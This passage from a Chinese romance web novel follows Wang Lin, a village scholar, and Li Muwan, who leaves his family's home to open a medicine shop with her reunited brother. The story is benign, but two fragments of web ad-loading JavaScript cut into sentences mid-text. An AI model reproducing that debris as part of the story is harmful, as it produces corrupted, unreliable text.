烛火昏暗,残影落在王林眼角,用余光去瞥,见人昏昏欲睡,想提醒一番,李慕婉又正起精神,接连几次,再撑不住,压着医书趴到长木桌上了。 两边长袖摊在桌面,把书册挡得严实,就连王林的书一并盖了去。她挪动了下,衣袖欲要拖过砚台,王林怕衣袖蘸了墨,铺得哪都是,眼帘微抬,指尖拨开了。 熟睡的李慕婉侧了脸,半张面颊贴在书本上,另一半也印了浅痕。她呼吸清浅匀称,窗外卷了风进来,将那地板的裙摆吹起。 及腰铺满薄背的墨发也随之搅动着,王林挪了目光,落在她身上,容颜如画,粉扑扑的小脸带了浅笑,似开了的青莲,睡得香甜惬意,不知她梦见了什么。 本想叫醒来让她回自己房里睡,却又止住了这想法。清冷的眉目带了几分温婉气息,红唇透着水润,让人瞧着忍不住去采撷,一种疯狂的想法涌入脑中,王林霎时清醒,别过了脸,将那股邪念压下去,接连翻了几页,又翻了回来,这才稍稍平复了些心境。 不知不觉,已过亥时,按照以往这个时辰他也要收书了,可李慕婉还睡着,又不忍叫醒她来,一时半会也不知如何是好,只能轻摇了头又拿了本书翻起来。 长夜漫漫,竹林的风刮得猛,拍得窗棂作响,惊醒了熟睡的人。李慕婉睡眼惺忪,撑着眼帘,手臂枕酸了,贴着的面颊略有发麻,印了好深的几道痕。 摇曳的烛火晃着眼睛,她揉了揉,竟不知自己睡着了,面前的王林仍是端坐着。李慕婉声音暗哑,似为自己看书打盹而羞愧,“阿兄,什么时辰了?” 王林闻声抬起头,望了眼窗外夜色,又收回视线,淡淡应,“快丑时了。” “丑时?”李慕婉慌忙直起身,收拾着自己的丹方和医书,“婉儿来看书时也才戌时。” “嗯,你自己也知道。”王林很是实诚,没给她留面。 李慕婉越发羞愧难当,王林再晚,平日子时也睡了,眼下已到丑时,他还在温书,“阿兄,对不住,若下次婉儿再打盹,你叫醒我就是。” “你醒觉有怨气。”王林淡漠,先前也不是没叫过,他心里记着她那怨怼的小脸。 “不会,”李慕婉撇了嘴,“本来也是婉儿不对,耽误阿兄歇息。” “既然醒了,那还不走?”王林倪着她,面上的红痕淡了些。李慕婉慌忙捧了书起身就走,“阿兄安寝。” 回到房里还有些骇然,前些日子他说话也没那么冰冷,怎得突然又觉变了。她脑子睡得昏昏的,想不明白,也没探究,倒头接着睡下了。 25.落日 王天水养了不到一个月,便能坐着雕刻,王林白日也就待在书房温书,昏暮之后,王林挑着水桶去村东头挑水,李慕婉见状也跟了去。 以往她话多时,王林应起来也是有一下没一下,这段日子回的话倒是多了,也会主动与她多说话。 她走在前面,王林跟着后头,她便好似有说不完的话,从诗书谈论到治世之道,王林才发觉,她懂得远比自己知道的多,望着那如瀑的墨发,他陷入遐思:“京城从医讨生活,也会懂得这些么?” 李慕婉脚步顿停,王林也跟着停,她缓缓侧过身,僵住的面容在回眸后便转成笑容,“虽说从医,家父结实了一些京城世家,我和哥哥因此也能结交上些官员世家子女,上过书院,故而耳濡目染,婉儿算不上懂,只是略有见解,便在阿兄面前搬门弄斧了。” 王林若无其事地点了头,没再往下说,李慕婉在王家村度过春夏两季,秋日的王家村染上一层金黄,就连这条竹林小道,两侧竹子枯黄。 风动时,落叶坠在她发间,又是一阵风,那落叶随风而起,再次飘落到了王林眼前,他伸手,接住了那片竹叶,就好似接住了她身上的光芒。 “明日我再去镇子一趟,给兄长寄封信,”李慕婉放慢脚步,眼前就是村口的水井,“王叔的秋褂破了,缝不好,我买些布料回来做新的,周婶的腿疾也有好转,上两次雨天后发作症状缓和许多,这个季节寻不到艾叶,得去药铺买一些回来。” 她蹲在井口边,王林打着水,一边听她细细碎碎念叨,眼神时不时注意着她说话。 “对了,婉儿昨日在医书上看见治疗风湿腿疾的草药,就是不知效果如何,想给周婶试试,也要重新买些药物回来配制。阿兄可有什么需要婉儿带回来的?” 王林装满水桶,擦了把溅到脸上的水珠,“不用,你费心了。” 李慕婉递了手帕给他,王林接过擦了额间的水珠,“多谢。” 回的路上,李慕婉拿着书,翻开一页,边走边读着文章前几句。 “天将降大任于是人也,必先苦其心志,劳其筋骨,饿其体肤……” 王林流利往后接,“空乏其身,行拂乱其所为,所以动心忍性,曾益其所不能……” 二人谈话声荡在竹林小道里,秋风浮动起二人的衣袂,将少年的意气风发激得宛若三千尺浪。 这一刻,于他们而言,便是最好的。 “阿兄,等一下。”李慕婉忽的停下脚步,小跑入了竹林,王林见状放下水桶,担子立在一旁。 竹林有几株山茶花,院里还有些位置没栽满,正好可以移植回去。王林跟上前,与她一同蹲下身,打量了这几颗山茶,没带工具要挖回去不容易,王林巡视周围一圈,瞧见不远处几株木槿花开的不错。 他起身过去抬手折下几枝递给李慕婉,“没带工具挖不了,这些木槿花开得不错,先摘回去插上,我明日再来挖,如何?” 他思虑周全,为了不让她空手而归,还折了木槿花,李慕婉自是乐意,巧笑嫣然回道,“好。” 往后每日,只要李慕婉不上山,或是上山回来得早,就会陪王林一块去挑水,以往他挑水总拿着一本书。现在,这本书便落在李慕婉手中,他想看哪篇,李慕婉便给他念哪一篇。 若是读到自己不理解的段落,她也会寻问王林。王林耐心与她讲解,同样若有不同的见解,两人还会展开辩论,辩起来谁都不让。 即便李慕婉性子再好,坚持的观点也不会改变,这就让周英素很是不解,出门时二人还好好的,回来后便好像吵架了一般,吃饭时谁也不理谁。 周英素使眼色,让王林让让她,王天水看着摇摇头自顾笑着。 碍于周英素,王林只好软下,“你说的自然也有道理,是我太过偏执,不该以一概全。” “还请李姑娘赏脸,多多指点在下。”王林打趣,二老瞧他性子比以前温和不少,话也多了些。 李慕婉也并非小气之人,有了台阶便下,不与他一般见识。从前与哥哥争辩,争不过她便自个赌气,不与哥哥说话,每次都是李奇庆主动与她求和。 *** 竹林小院迎来深秋,眼见初冬在即,早晚谈话时,口中吐着淡淡雾气,李慕婉最近收到的信,李奇庆信中所说,不日便能抵达清平镇。 燕州有批商船要经过清平镇水路,会在清平镇停靠,李奇庆便坐这一批商船入镇。 只是秋日河水不像春夏属于汛期,涝期行驶要慢许多,时间也不好把控。她算着日子,最慢也要一个月,那时候王家村已经入冬了。 王家正堂内,周英素烧了些炭在堂屋,一家四人围着炉火各自忙碌,王天水那批木雕完工后歇了一段时日,周英素领了女工回家补贴家用。 王林捧着书撑在长木桌上,大半张长桌都是李慕婉铺满的药材。她埋首案前,一手碰着医书上的丹房,一手捡着药材,捡好一副后又开始研磨成沫。 近些日子她的丹药卖得甚好,好些药铺诊所都与她预订,就连外商客都慕名而来。她也寻思过,若不上山采药,自己买药材回来炼制丹药,待多攒些银子,还能在镇子上开个铺子。 只是后来再想,不知哥哥来了之后作何打算,便把这想法暂存脑后。 冬日院落凋零景象更甚,寒霜覆盖草木,白白一层,日光挂过树梢,冰霜融化,小院四口人乘坐院前晒日,暖洋洋的日头洒在身上,无比惬意暖和。 王天水口中吐着浓烟,王林手里书本翻阅声绕在烟雾里,李慕婉替周英素缝起冬衣。王天水抽着烟不禁感概道:“时间过得快,眼看冬日要来,又是一年,铁柱也快十九了。” 王林长得越发高,与李慕婉刚来到竹林小院时还要高了半个头,身形越发出众。 少年书生气质独树一帜,村里不少人家频频上门说亲,周英素怕与先前叶家的事一般闹得不快,没有王林点头,她断然不会再接受谈婚的事宜。 “等家里过了年,铁柱就上京去吧,早些去京城备考一年,万一有个什么事拖了路程,也能有个缓冲。”王天水就盼着这一日,“去到京城住上个把月,熟悉熟悉,听闻各地学子都要上京温习一年再考的,你也早些去吧,在京城学总比家里强。” “孩他爹说得在理。” “知道了爹。”王林浴着阳光,星眸透着坚定。 *** 日昳,李慕婉睡了一觉,起来时院里寂静安宁,唯有后院鸡圈传出几声叫响。她往西厢房拾阶而去,窗户支起的,里边却看不见王林身影,这个时辰他若不在屋里也不在堂屋,想必是出去透气了。 常去的也就是几个地方,村外的桃林,村东头的草地,她见过几次王林外出挑水,会躺在草地里看书,看累了就用书盖着眼休憩。 李慕婉先去了村东头,在草地里没寻着人,又才出了村子,桃林这个季节花未开,叶子黄黄的,她往桃林深处去,里边有几颗百年老桃树,树杆粗壮,叶子却零星点点。 果不其然,王林躺在树荫下看书,枕着手臂。远处有枯枝断裂的细碎声,他闻起动静,撑起身靠在树枝前,见李慕婉提着裙摆朝这边缓步徐行。 察觉王林看见自己后她喊道:“阿兄,婉儿猜着你便是在这。” 王林合上书,手臂撑在膝头,对她的到来有些出乎意料,语气却是平淡,“何事?” “醒来见院里无人,阿兄未留话,婉儿便出来寻了。”她略微顾盼,寻了一个他身侧不远的位置盘腿而坐。 向来独来独往的王林,早已习惯她的随行,似乎每日,在不经意间她总会出现在眼前。李慕婉不喜欢孤独,总想要与他处在一块,即便不说话也好,就如同与哥哥相处一般。 “阿兄出来许久了?”李慕婉瞥过他手里拿的书。 “没多时。” “阿兄在这看书,那婉儿是不是打搅你了?” “无妨,”王林将书放在 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 一旁,“待会就回去了。” 李慕婉见他视线一直停留在远处天际,巡视过去时,那山顶后有金辉慢慢靠近,夕暮临近,远处霞光已有万丈蔓延之势。 “阿兄可是等日落?”李慕婉声音爽朗。 山顶远处,金辉光晕越来越浓,宛若一张巨大的帷幕照着桃林。日光下坠,王林起身拍了拍衣裳沾的枯草。 “嗯,夕阳无限好,日落归山海。”王林一副要攀爬上树的准备。 夕阳斜过桃枝,映在他分明的轮廓上,李慕婉注视着侧脸,心潮起伏,“阿兄要上去看?” “站得高能看得远些。”王林侧目。 李慕婉望着老树上裹的余晖,红日渐浓,她也想上去看,可是她不会爬树。 袖口里转动的指尖在倾诉着她的困窘,王林余光轻轻瞟了一眼,似有察觉,“你可要上去看?” 李慕婉眼神微敛,透着期待,很快又被落寞褪去,“婉儿,婉儿不会爬树……” “抱紧。”身旁高出大半个头的少年嗓音干净,说话时也是仰着头顶树枝,没看她。 李慕婉身躯凝固,还未缓过神他言中之意,腰肢已被一股霸道的力量搂过。王林长臂揽过细腰,李慕婉身躯不受控栽进怀里,失了平衡的她只能双臂搂过他腰腹。 腰腹的结实感袭来,她无暇多想他接下来要做什么,却觉身躯腾空,王林轻功跃然而起,须臾间便到了树上。 李慕婉脑子空白,仿若迷失一般,王林还没松手,直到远处霞光冲入视线她才清醒过来,低头一看,自己离地好一段高度。 她起初还害怕,慢慢就适应了,平衡逐渐收回,王林见她能自己站稳才慢慢松了手。 动作一气呵成,看不出多余的情愫,他撑手利落坐下,李慕婉见状小心翼翼扶着枝干与他挨着坐,却没能碰着他。 二人目光落在远处的红霞里,云层覆上金黄,似大火焚烧,树上气氛宁静,谁也没说话。直到落日躲过山后,还有丝丝缕缕余晖未散,天幕快要暗了。 只听王林漫不经心道一句:“今日的落日便是明日的朝阳,万物不息不灭。” 李慕婉不知他何意,却见少年身影一晃而过,稳稳落地,独独自己还坐在上边。 又见他拾起树下的书揣进怀里准备要离开的模样,李慕婉气息略急,“阿兄。” “婉儿还没下来……”她陷入思考,洞察身侧,却如何都不知该怎样才能爬下去。 王林唇角勾起她看不见的笑意,见她慌张持续了好一会儿,最后无助的投向自己,委委屈屈低声唤了句:“阿兄……” 那声音似要急哭了,王林仰着头看她,理所当然道,“跳下来。” “不行,太高了。”李慕婉手紧紧扶着枝干,手足无措。 “我接着你。”王林伸出双臂,深眸坚定朝她点了点头,“不会叫你摔了。” 李慕婉注视片刻,再无疑虑,松手纵身而下,稳稳落进他怀中,王林接住那一刻,惯性使其后退半步。李慕婉紧紧闭着眼伏在他肩头,发丝的清香混着晚间的清风,让人沁人心脾,良久李慕婉有所反应后他才若无其事松了手。 “王家村有没有不必上树就能看到日落的地方。”李慕婉心有余悸,耳侧微红,“这爬树属实危险。” “哪里危险?”王林走在她前头,冷不丁道,“我可是让你摔着了?” 她倒不是这个意思,总不能每次都叫他抱吧,毕竟男女有别……李慕婉还陷入自己的浮想联翩中。 “婉儿不是这个意思。” “倒是有一处……”王林想到却没说,只是低声呢喃着。 “阿兄说什么?” “没什么,时候不早了,回吧。”王林迈出步子,也没管她跟不跟得上。李慕婉回眸朝那二人坐了一下午的树枝漫出意味深长的神色。 随即露出一抹清笑,这样惬意的一个午后,能让她开心许久,两人似乎心情都不错。 26.离去 日中之后,王家人在小院休憩,院里木门外脚步声越来越近,几声敲响吸引了院里谈话的人,王林起身前去开门,这个时辰应是村里人来闲坐的,他没多想。 木门缓缓推开,只见一位比自己大几岁的少年端正立在那,身着锦衣华服,高挺的额头显得宽阔正气,眉宇间似曾相识之感。王林打量须臾,那人已经拱手行礼:“请问,这里可是王天水家?” “阁下是?”王林问。 “在下李奇庆,家妹李慕婉,半年前逢恩公相救,借宿王家。”李奇庆欲要拿出李慕婉寄来的信,院里边的她闻声跑过来,起身时还撞了案几上的药草。 “这位想必就是小妹信中提到的阿兄,王林?”李奇庆端详他片刻,猜测道。 “哥?”李慕婉打断二人谈话,看清那日日夜夜想要寻到的亲人,半年之久的思念汇聚成流,潸然泪下。 “婉儿。”李奇庆面露喜色,李慕婉已冲入他怀里,紧紧抱着。 “哥,”李慕婉哭起来,“婉儿还以为见不到你了,你可知婉儿寄了多少信,不是说好一同去燕州的吗?为何,为何这么久才来寻我……” 她话里都是怨言,也只有面对李奇庆,她才会毫无顾忌的撒娇,即便知道哥哥身不由己,心中委屈和苦楚都要一并吐露出来。李奇庆知晓她的性子,若非是担心极了定然也不会在旁人面前如此肆无忌惮。 “哥哥一点都不好,害婉儿担心你那么久。” 李奇庆难为情看了眼王林,表示歉意。又无奈只能拍着背轻抚,里头的周英素和王天水闻声也出来相迎,王家人齐齐看着兄妹二人团聚的场景。 李慕婉趴在他肩头擦泪,嘴里思念和担忧的话没有停,李奇庆有些难为情,无奈解释道:“诸位抱歉,小妹自小被宠惯了,借住这些时日,劳诸位照顾,在下感激不尽。” 李慕婉哭过了,从怀里出来,眼睛还是湿湿的,这才看着李奇庆,“哥,这便是婉儿与你信上说的王叔,还有周婶。” 李奇庆替她擦了泪,摸了摸头安抚着,又朝二老鞠躬行礼。 “这就是婉儿信中与哥哥所说,在天麓山救下婉儿的阿兄。借住王家这些日子,他们都待婉儿极好。若非阿兄,婉儿此生怕再也见不到哥哥了。”李慕婉又擦了一把余泪,目光放在王林身上。 王林抱拳回礼。 王天水忙道:“既是婉儿的兄长,快快进来坐吧,外边风大。” 几人入了堂屋,周英素端了热茶过来,“李公子喝茶,寒舍清茶,还望不要嫌弃。” “周婶哪里的话,奇庆和小妹都并非娇生惯养之人。”李奇庆连连颔首,举止间颇有礼数。 李慕婉挨着哥哥同坐,很是乖巧,一直打量着哥哥,因着冬日风尘仆仆赶路,他面容上显了几分疲惫。 “哥,你是今日刚到清平镇的么?”李慕婉抱着他手臂,自小就依赖哥哥的她,与哥哥走得比父母还要亲近。 李奇庆目光柔和,宠溺看了看她,“是,收到婉儿的信后,忙完燕州的事,马不停蹄就来了,哥哥来晚了。” 王林坐在一旁,离得有些距离,也很少搭话,倒是李奇庆主动道:“听小妹说,王公子本是要上京赶考的,因出手相救才耽搁了前程,此恩情实在无以为报,我们家从前在京城谋生,还有些故人在,若王公子明年再上京城,在下愿打点一二。” 王林颔首,平常道:“举手之劳,李姑娘在家中也帮了我们家不少。” 周英素说:“是啊,这院里的景致都是婉儿布置的,老婆子我早年患的腿疾,多亏了婉儿照顾和诊治,已然好了许多,恩情的话莫要再提了。” 李慕婉仰头看着李奇庆,想要得到奖赏一番,李奇庆摸了下她发以示夸赞。 堂屋内,几人谈了大半个时辰,李奇庆几乎了解了李慕婉是如何在王家度过的这些时日,李奇庆对王家人的恩情溢于言表。 唯有能相助的便是以银两赠之,李奇庆还未说出口,李慕婉便察觉他的用意,示意按住了他的想法。 王家并非图利之人,若是以金银相赠反倒是不妥。 “不知李兄接下来有何打算?”王林问到关键。 李奇庆也表明:“此番从燕州赶来,目的就是要接回小妹的,再回燕州落脚。船商明日就要返程,时间有些急,故而今日才唐突造访,若是走陆路,赶上风雪官道更不好走了。” “哥,明日就走吗?”李慕婉略有惊诧,她毫无防备,虽知哥哥会来,但一直都没做好离开的准备。 “这,会不会太赶了些。”周英素望了望王天水,又看了儿子一眼,王家人都有不舍,到底是相处了大半年,已然把她当做家人对待了。 “是啊,”李慕婉埋首,语气失落,“哥,婉儿还没与周婶他们,还有王家村的朋友们好好道别,能不能,晚几日?” “此去燕州,路途遥远,”王林敛眸说,“李兄刚下船,何不住下歇息几日再返程,回燕州的商船隔几日就会有一批,不急一时。” 李奇庆沉默思量着,李慕婉见他似有心事,许是不便当着旁人说,便借口与哥哥说会体己话,兄妹二人沿着竹林小道漫步,李慕婉开口道:“哥,可是燕州出了何事?” “婉儿,”李奇庆停下脚步,“咱们从京城出来,就是想要在燕州安身立命,秉承祖训,从医救治。父亲和祖父在燕州积攒下的人脉,哥哥这些日子都有造访过,虽有波折,却还有通路。 “重操旧业不是没有指望,只是眼下燕州局势而言,不适合经商,即便回了燕州,哥哥也得再做打算。” “那哥哥为何还要急着回去?”李慕婉转着眸光。 “燕州既不合适经商,哥哥还得回燕州另寻他路啊,不若如何让小妹过得安稳,”李奇庆刮了刮她鼻尖,“父母临终前嘱咐我,要看顾好你,是哥哥不好,让你去落入歹徒之手,好在天可怜见,让你我兄妹二人得以重逢,若你出了事,我如何向爹娘交代。” 李慕婉沉思良久,把心中所想告知兄长,“朝廷削藩不是已经平息了吗?” 李奇庆一副讶异表情,李慕婉心知他想问什么,便说:“阿兄同我说的,燕王与朝廷举兵相向,可最终燕王已退步,愿意交出部分兵权给到藩王其他宗室,燕州眼下安定,经商也不成问题。” “你们久居山林,听得的消息是从燕州传了几手才到清平镇的,燕州局势远没有你想的那么简单,燕王接了朝廷削藩的旨意,不过是权宜之计罢了,燕王野心勃勃,怎会甘愿削权。为兄是不想苦心经营起来的商铺,届时逢战起祸乱功亏一篑。” “既如此,哥哥何不在清平镇安顿,”李慕婉不疾不徐说,“清平镇虽比不上州郡繁盛,可物产丰饶,交通便利,永陵港又是赵国东南地区重大码头,其他州郡往来的商船都要在此歇脚,往来外商也多,若在此经营,商路必然不比燕州少。” “哥哥,不如咱们就在此定居吧,婉儿在这段日子以采药为生,也常去镇子卖药,识得一些药商,咱们可以开个药铺。婉儿还能研制丹药,养活自己和哥哥不是问题。”李慕婉言辞不断,把先前的想法尽数吐露出来,李奇庆在她言谈中察觉她对清平镇的喜爱和不舍。 “婉儿,你想待在清平镇,可是因为王家人?” “是,可也不全是,”她没有完全否认,“清平镇民风淳朴,王家人待婉儿也很好,再者,京城咱们是回不去的,也不一定要去州郡才能落脚,这也很好。” “婉儿当真长大了,”李奇庆拍她肩头,“看事更加全面,处事周全。” 李慕婉嫣然一笑,撒娇道:“是哥哥教得好。” “既然你觉着清平镇可以久待,那咱们就先住下。”李奇庆天黑前赶回镇子,在客栈租了间屋子,待他寻到铺子后安顿好,再将李慕婉从王家接走,此事也与王家人商量了,王家人自是没问题,恨不得她能过了这个年再走。 兄妹二人在清平镇租了间铺子,位置便利,铺子对面是一间书屋,租金不算便宜,李慕婉把先前那支人参交由李奇庆,用做镇店药材,李奇庆在燕州这几个月攒了些银子,加上李慕婉的积蓄,刚好够铺子流转。 铺子的事宜落定,李奇庆来王家小院接人,前一夜,李慕婉如往常来西厢房添茶点香。 李慕婉没看医书,自打她进来后王林便一直没作声,她添了茶就在对面坐着,王林起身走到屏风后,从柜子拿出物件,残影照着颀长的身影,李慕婉看着地上的长影落在身侧。 眼前的烛光被遮,她抬眼,仰头看他走近,李慕婉缓缓起身,冬日寒冷,说话时口吐白雾,“阿兄,婉儿明日就要走了,往后便不能再替你添茶点灯。” “这些时间,多谢。”王林将手中之物放入她掌心,“这是你的身份鱼符,归还于你。” “当初答应让父母收留你,这半年,你替我照顾爹娘,协理家务,掌灯添茶,事无细致,”王林神色淡淡,“如今你与兄长重逢,从此两家各不相欠。” 李慕婉垂首,蕴藏了失落,可面对王林时,她仍是笑的,宛若冬日暖阳,驱散黑暗,“以后婉儿还能回来吗?” 王林视线笼罩着她,肩头轻微起伏,没说话。 李慕婉轻笑,缓解尴尬,又期待说:“那阿兄以后若是去了镇上,能否来铺子看看婉儿?” 王林仍是没作声,暗暗叹了口气,李慕婉好似明白了,扯出一抹笑意,不再为难他,怅然若失。 “若是去了镇子,我得闲,便去看看。”王林不忍看她沮丧,终是没忍下心。 李慕婉闻言,回惊作喜,生怕他变卦,“阿兄说话算话。” 见他点头,李慕婉离别的惆怅才有所缓解,她在竹林小院度过了四季,与王家人日出而作,日落而息,突然有一日要离去,当真是有不舍的。 夜半后西厢房灯火灭了,小院灯笼打着梅树,风雪欲来, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 北风叫嚣了整夜,李慕婉推开窗下意识望过西厢房,西厢房的门窗紧掩,院内覆盖了薄薄一层雪碎,这是清平镇永正八年迎来的初雪。 寒冬送别人,离别犹在耳。院落的草木凋零,竹林残败,惟有寒梅傲雪,巳时一刻,薄雪被暖阳融化,李奇庆赶到王家,衣摆沾了些雪碎化开后浸染成湿。 他肩头背过李慕婉的包袱,她在檐下与二老告别,几番嘱咐。 “周婶,婉儿做的护膝,您要常带,若是腿疼,让阿兄替您熏艾,婉儿已经嘱托了阿兄,他知道如何做的,”李慕婉握着二老的手,“还有王叔,少抽些烟,对心肺不好,婉儿做了些清肺的药丹,您早晚服用,有助于清肺养神。” “好孩子,叔婶记住了,得空常回来。”周英素别过脸悄然擦了泪珠。 李奇庆耐心等着,也不催促,李慕婉叮嘱完来到西厢房门外,一早起床后便没看见王林,房门也从未开过。 她立在阶前,寒风打着面颊,“阿兄,婉儿走了……” 立了许久无人应答,李慕婉叹了一声,提步走出竹林小院。 王林身前黄花梨长木桌上摊了一张纸,苍劲有力的笔锋,一行字尤为显眼“我寄白雪三千片”。那支她赠的狼毫笔蘸了墨汁,捏在指尖,迟迟未落笔写下后半句。 只听闻屋外脚步声远离,院门关上,一阵肃风而过,吹起枯叶,又飘飘沉沉落下,如同他那颗被搅乱的心一起,飘散在外。 *** 镇上的铺子药材生意主要李奇庆经营为主,李慕婉负责研习丹药,后院设了一间屋子,里边是她研制丹药的专属之地,根据医书记载,起先她研制的都是些养神提神的丹药,摆放在药铺里,有人要买也能赚些钱。 自她搬离镇上后,铺子开业没多久,要帮忙打理,也就没时间回王家村。王林整日关在屋里温书,越是临近考试,他越发下功夫,勤勉起来父母都忍不住劝他劳逸结合。 可他好似只有把自己沉浸在书里,才不会有时间胡思乱想。李慕婉刚离开那几日,他还不能适从。 往常起床推窗时,总能看见她在妆台下梳妆的身影,温书休憩时,坐在窗台下往外看,能看见院子中侍弄花草,晾晒草药的人影。 夜间,会有人替他添茶,只是他刚捧起茶杯准备润口,却发现茶杯已空,灯油燃尽,就连房门已经几日未曾想起那熟悉的敲门声,每每敲响三声之后都会伴随一句她柔柔唤道的“阿兄”。 原是那替他掌灯之人早已不在,原来自己早已习惯她的存在,或许离不开的一直都不是她,而是自己。 “阿兄……” “阿兄……” 脑海中似乎隐约听见夜夜唤他的声音,何时对她有了这股想念竟然到了幻听程度? 王林甩了甩头试图清晰,窗外日光明媚,那清脆的声音好似越发近了。 “阿兄,在家吗?”院门被重重敲着,他这次确认没错,是李慕婉的声音。 “阿兄,”李慕婉扯着嗓子喊,“婉儿回来了,开开门,外边风太大了。” 敲门声急切,王林开了门,半月不见,这一面倒是有些恍惚,那张精致的小脸满是红晕,不知是风吹的还是赶路赶的,笑盈盈正对着自己笑。 思念如潮,却不见他面上的惊涛骇浪。 “阿兄。”李慕婉如跋涉千山万水后的风平浪静,整个人被日光暖洋洋的罩着。 “你,怎么来了?” 她抬起手,手里拿了瓶小罐子,不等他请,自己就熟门熟路绕过他,进了院子,“花影前日来铺子寻了我,听说周婶腿疾又发作了,我来看看。” 王林上下打量后,直觉不是那么简单,只见她身后背篓里装了好些东西。 她只觉身后被一股力量往后扯,前进的步子倒退着,被王林扯着背篓后退到他身侧,如同犯人一样被审问:“你背篓里都是什么?” 李慕婉坦率说:“我想王叔和周婶了,回来看看,还有周婶做的饭,婉儿回来吃顿饭,阿兄总不会不给吧?” 王林这才松手,嘴角噙笑,悠悠跟在后头。 周英素和王天水瞧见她满眼欣喜,这些日子王林没少听父母提起她,没了她在小院,整个王家竟然都有空落落的感觉。 她说的也不是假话,此行主要目的就是给周英素看腿的,背篓里都是药,还有新做的护膝给二老用的,以及为王林特意研制的提神香。 他屋里先前那些用完了好几日,适应了焚香,一时间不用确实有些不适应。往后她总会隔三差五找着理由回来,李奇庆也随着她。 竹林小道上,王林挑着水往回走,李慕婉从小院过来寻他,隔着许远,他便看见枯木景象下的身姿,迈着轻快步子小跑而来。 “阿兄。”李慕婉甜甜喊着人。 面对她的到来,好似也已经习以为常了,李慕婉走近后给他递了本书,王林很自然接过,“这是?” 27.新年 “给阿兄的,”李慕婉跟在身侧,“这本书记载着赵国开国以来大儒圣人讲学之道,关于治国齐家都有涉及,阿兄若是有空可以看看,对你会试或许大有裨益。” “你整日往这跑,药铺里不忙吗?”王林闻见一股淡淡的药香。 “嗯?哥哥在药铺看得过来,无妨。”李慕婉的笑容如晓露春风,“阿兄这些日子定然都在埋首苦读,哥哥说越是临近大考,越要放松精神,不能过于紧绷。” “阿兄,药铺对面的书铺,要请个讲学先生,”李慕婉观察他的神色,慢悠悠道,“阿兄要不要去试试?” “讲学?” “嗯,书院放假了,书铺掌柜想给家里一对儿女请个先生坐家讲学,书铺里的书也可随意看。” 瞧她一脸期待,又多翻试探,想必今日来就是为了此事,她说的也不无道理,整日闷在家中除了温书就是温书,那些书他早已看熟了。 “何日能去?” “阿兄这是答应了?”李慕婉抓过他手臂,“掌柜说明日就可。” “嗯。”面前有个小石块,李慕婉走路说话时都是盯着自己看,王林怕她摔了,拉住胳膊,让出些位置给她,“当心些。” 书铺掌柜要请先生,还是李慕婉与掌柜商量了这先生人选她定能寻个好的。掌柜自然也乐意,她这才赶来与王林商量,没成想他应得倒是爽快。 自去了书屋,王林除了给孩子讲学外,其余时间都在书屋看书温习,偶尔还帮人写信。 李慕婉在铺子得了空闲便跑去看他,药铺与书屋正对门,王林给孩子讲学是在隔间,午饭都是她送去的,李奇庆在店里忙活,时而见她在药房制丹药,时而又不见人。 隔间外李慕婉趴在门缝里,王林认真在教学,两个孩子接受事物快,对王林的讲学方式颇有兴趣,不但学得快还会提出各种问题,王林都耐心解答。 趴在门缝的人脸上不自觉漾起笑容,书屋掌柜从书架下来,拿了本医书从身后叫她,“李姑娘,你要的书,找着了。” 李慕婉吓了一跳,扶住的门被轻轻推开,王林抬眸望过来,见她与掌柜在谈话,又低头继续讲学。 “多谢掌柜。” “王先生是你?”掌柜提着耳朵要打听。 “我阿兄,他学识渊博,定然会给两个孩子教好的,您放心就是。”李慕婉一副骄傲的模样。 “李姑娘阿兄不是李掌柜吗?”书铺掌柜不解。 李慕婉朱唇轻启,言语温婉:“阿兄是阿兄,哥哥是哥哥。” 掌柜听得糊涂,愣在原地挠了挠了脑袋,李慕婉已经回了药铺。 之后每日李慕婉日中都会来给王林送饭,他吃的时候,李慕婉会替他收拾书案,久而久之,李奇庆见她去的勤,二人走得近,这妹妹宛若格外上心。 他拎过刚从书铺回来的李慕婉后衣领,她被提溜的往后退,被按在椅子上,她要起,李奇庆严厉的颜色扫过,她只能乖乖坐好。 状若不明问:“哥,怎么了?” “日日往书铺里去,都看了什么书?”李奇庆双手叠胸,审视着她。 李慕婉视线漂浮,“就,就医书啊。” “是嘛,”李奇庆眯起眸子,“是去看书,还是看人去了?婉儿心里清楚。” “自是看书,只是有不懂的也会请教阿兄,阿兄的才华,可不比哥哥逊色,哥哥若是不信,可以一探。” “阿兄?”李奇庆扯着笑,“好好好,有了阿兄了,哥哥便不重要了,日日只念着你阿兄,我倒是不知爹娘还有一个儿子流落在外?” “哥,”李慕婉小脸霎红,恼极了,推开他自己回了房,“婉儿不与你说了。” 李奇庆摇摇头,视线落在对面书铺,心里藏着事。 李慕婉近期做了些提神香,与先前的不一样,夕暮时,王林从书屋出来准备回王家村,李慕婉从柜台瞧见身影,拿了事先准备的提神香追出去。 冬日外边风大,她外氅未着便跑出去了,王林余光本是扫了一眼药铺,却没停留。 “阿兄,等一下。”李慕婉声音传出,跑过来时带了急促的气音,王林一听便顿了脚步。 李慕婉上前后与他并排走着,夕暮的街道,人流稀少,只是街景挂了少许红绸,已然快有新年的景象。 “不知不觉,婉儿已在清平镇过了四季,从来没想过会在这里渡过新的一年。”李慕婉感叹道。 王林微侧脸,狭长的眸子裹了暖意,“我娘还提了,让你和李兄到时候来家里过年。” 李慕婉步履轻盈,侧身倾听着,“周婶盛情,婉儿难却。” 少年唇角漫着浅笑,北风扫过街角,竟然已经快走到镇口,李慕婉吹了冷风,不由打了个喷嚏,王林这才恍然她穿得单薄,耳垂冻红了,鼻尖也是红红的,幽若清莲的气质似冬日盛放的花朵,让人想要采撷欣赏。 “天冷,就此留步吧。”王林停了步子。 李慕婉从怀里拿出小木盒,双手呈递过去,“阿兄,这是婉儿新制的提神香。” 王林想也没想就要接,就在接过时不经意轻触到她冰凉的指尖,藏着墨发后的耳垂通红,不知是冻的还是别的。 “多谢,天冷,回去吧。”他声音不像从前那般凉薄,但也实在说不上温和,就是淡淡的,让人琢磨不清。 两道身影自不同的方向消失在街口,夜里清平镇下了场大雪,这雪持续了几日不停,街道堆了厚厚一层积雪,孩童追逐在爆珠灯笼下,烟火四散于天际。 新年伊始,万象更新,竹林小院内,王林贴上刚写的春联,院前的梅树和海棠枝也都系了红绸,院里的花草被打理得很好,自李慕婉走后,大多都是王林在照顾。 